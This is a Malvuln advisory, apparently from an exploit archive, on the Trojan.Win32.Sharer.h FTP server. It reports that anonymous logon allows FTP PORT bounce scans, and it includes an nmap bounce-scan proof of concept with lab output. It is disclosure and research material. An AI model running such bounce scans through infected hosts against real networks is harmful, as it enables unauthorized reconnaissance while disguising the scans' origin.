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Trojan.Win32.Sharer.h Man-In-The-Middle

Trojan.Win32.Sharer.h Man-In-The-Middle
Posted Apr 5, 2021
Authored by malvuln | Site malvuln.com

Trojan.Win32.Sharer.h malware suffers from a man-in-the-middle vulnerability.

tags | exploit, trojan
systems | windows
MD5 | 83fe4146a16b89a3f4b591f7695bc9bc

Trojan.Win32.Sharer.h Man-In-The-Middle

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Sharer.h
Vulnerability: Anonymous Logon MITM Port Bounce Scan
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several types of services one is an FTP server named "20CN MINIFTP" TCP port 21. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. The FTP server default configuration is username "anonymous" and no password, any password will allow logon. Running this malware you may get missing "picclp32.ocx" error just run it again and it should work.
Type: PE32
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551
Vuln ID: MVID-2021-0159
Dropped files: FtpServer.exe
Disclosure: 04/03/2021

Exploit/PoC:
nmap -n -Pn -b anonymous:malvuln@192.168.88.128 192.168.88.131 -p22,80 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-01 20:56 Pacific Daylight Time
Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128).
Attempting connection to ftp://anonymous:malvuln@192.168.88.128:21
Connected:220 ─πY╙╓└┤┴╦!!!
Login credentials accepted by FTP server!
Initiating Bounce Scan at 20:56
Discovered open port 80/tcp on 192.168.88.131
Completed Bounce Scan at 20:56, 1.05s elapsed (2 total ports)
Nmap scan report for 192.168.88.131
Host is up.

PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 10.22 seconds


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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